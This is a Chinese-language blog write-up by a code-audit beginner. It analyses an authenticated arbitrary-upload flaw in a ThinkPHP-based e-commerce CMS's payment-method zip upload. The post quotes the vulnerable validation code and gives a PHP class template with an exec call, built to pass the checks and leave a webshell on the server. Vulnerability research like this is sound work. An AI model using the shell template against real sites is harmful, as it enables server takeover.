菜鸡的代码审计之路
前言
本篇文章是由代码审计初学者所写,如有不正确的地方还请指出。
目标寻找
看了一段时间别人写的代码审计文章后,总归要自己上手搞搞,防止审计不出来漏洞导致抑郁,就有cnvd上瞅了一眼,然后就发现了这套电商源码
随机去官网下载了下来,搭建过程很简单,不在写了。
开始审计
即然已经知道了是文件上传引发的问题,所以全局搜索$_FILES
。
是基于thinkphp开发的cms,上来不了解TP的调用方式,本来想跟进函数调用,然后搜索发现根本就没得初始化类。后来去看了下TP框架的说明,才知道原来还有service层这个东西。不会开发的心塞。。
这里补充一下TP框架兼容路由模式,其路由形式是这样式的:http://网址/入口文件?s=/模块名(分组名)/控制器名/方法名/参数名/参数值。至于为什么后面都是html结尾呢。因为在config目录下的app配置文件中配置了url伪静态后缀。真是闲得慌,搞渗透没点开发知识有些点还真是不容易搞明白。。
// URL伪静态后缀
'url_html_suffix' =>'html',
同时结合搭建好的cms,登录到后台,其上传点也不多。简单试了下就定位到了application\service\PaymentService.php
这个文件。
在后台支付方式可以新增,上传打包成zip文件的后门,就能拿到shell。虽然它会弹窗报错,但是依旧上传成功。
上传后没有路径返回,但谁让咱是代码审计呢,直接返回文件夹全局搜索4.php。发现在extend/payment/
目录下
芜湖,这就完事了。
分析
回过头瞅瞅源码,看看咋会事引起的,只保留一些关键代码
// 如果不是目录则写入文件
if(!is_dir($file))
{
// 读取这个文件
$file_size = zip_entry_filesize($temp_resource);
$file_content = zip_entry_read($temp_resource, $file_size);
if(@file_put_contents($file, $file_content) !== false)
{
// 文件校验
$config = self::GetPaymentConfig($payment);
if($config === false)
{
$error++;
@unlink($file);
} else {
$success++;
}
GetPaymentConfig
private static function GetPaymentConfig($payment)
{
$payment = '\payment\\'.$payment;
if(class_exists($payment))
{
$obj = new $payment();
if(method_exists($obj, 'Config') && method_exists($obj, 'Pay') && method_exists($obj, 'Respond'))
{
return $obj->Config();
}
}
return false;
}
文件写入后,会进入到GetPaymentConfig
函数,class_exists
函数检查类是否已定义,类使用完全限定名,然后检查是否定义了三种方法。检查不通过会返回false调用@unlink($file);
删除文件。
但是这里class_exists
的时候就会存在问题,后边加载上传的文件模块报错,导致并没有去删除文件,从而就形成了任意上传的效果。
同时这里正常逻辑可以构造相对应的代码结构,从而达到上传shell的目的。
<?php
namespace payment;
class a{
public function __construct($params = [])
{
exec("")
}
public function Config()
{
}
public function Pay()
{
}
public function Respond()
{
}
}
$b=new a();
?>
github上原来早就有人分析过了,详细可以看看这个issues
小结
这次的漏洞点还是比较好找的,但是没想到一个地方原来可能会存在这么多种问题: 1、模板上传shell 2、文件包含 3、条件竞争。漏洞点的多种利用方式也是以后要去学习的点,不能仅仅看到一面就完事了。